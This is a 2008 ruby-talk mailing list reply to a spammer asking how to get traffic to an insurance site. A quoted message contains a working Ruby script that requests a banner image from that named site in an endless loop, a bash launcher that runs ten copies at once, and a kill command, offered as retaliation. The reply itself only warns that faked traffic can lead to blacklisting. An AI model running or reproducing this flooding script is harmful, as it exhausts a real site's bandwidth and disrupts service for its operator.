From: "M. Edward (Ed) Borasky" <znmeb@...>
Date: 2008-04-30T11:29:08+09:00
Subject: Re: How to promote my site?

Kevin Brown wrote:
> Kevindy0223,
> 
> Is that response consistent with Ruby Way?  He asked nicely.  
> I for one intend to drive a lot of traffic to his site:
> 
> 
> # ------------ bandwidtheater.rb --------------
> 
> 
> #!/usr/bin/ruby
> require 'net/http'
> 
> url = URI.parse('http://www.carsinsuranceguide.com/images/banners/shop-ad-books.jpg')
> req = Net::HTTP::Get.new(url.path)
> while(true)
>   res = Net::HTTP.start(url.host, url.port) {|http|
>     http.request(req)
>     print "."
>     $stdout.flush
>   }
> end
> 
> 
> 
> # ------------ eaterspawn.sh --------------
> 
> #!/bin/bash
> for ((i=0;i<=10;i+=1)); do
>    bandwidtheater.rb &
> done
> 
> 
> # -------   stopping ---------------
> 
> 
> kill -9 `ps -e | grep bandwidtheater | awk '{print $1}' | xargs `    
> 
> 
> 
> 
> 
> 
> -----Original Message-----
> From: Phillip Gawlowski [mailto:cmdjackryan@googlemail.com]
> Sent: Mon 4/28/2008 10:02 PM
> To: ruby-talk ML
> Subject: Re: How to promote my site?
>  
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> Travis Kevindy0223 wrote:
> | I have a site on insurance: http://www.carsinsuranceguide.com
> | However, no traffic, Does anyone can tell me how to get traffic?
> 
> Not by posting here, you won't.
> 
> - --
> Phillip Gawlowski
> Twitter: twitter.com/cynicalryan
> 
> :zombie: [UNIX] n. A process that has died but has not yet
> ~   relinquished its process table slot (because the parent process
> ~   hasn't executed a `wait(2)' for it yet).  These can be seen in
> ~   `ps(1)' listings occasionally.  Compare {orphan}.
> ~ -- The AI Hackers Dictionary
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A word of caution -- if you use scripts to artificially inflate your 
traffic, bad things can happen to you, like getting put on blacklists.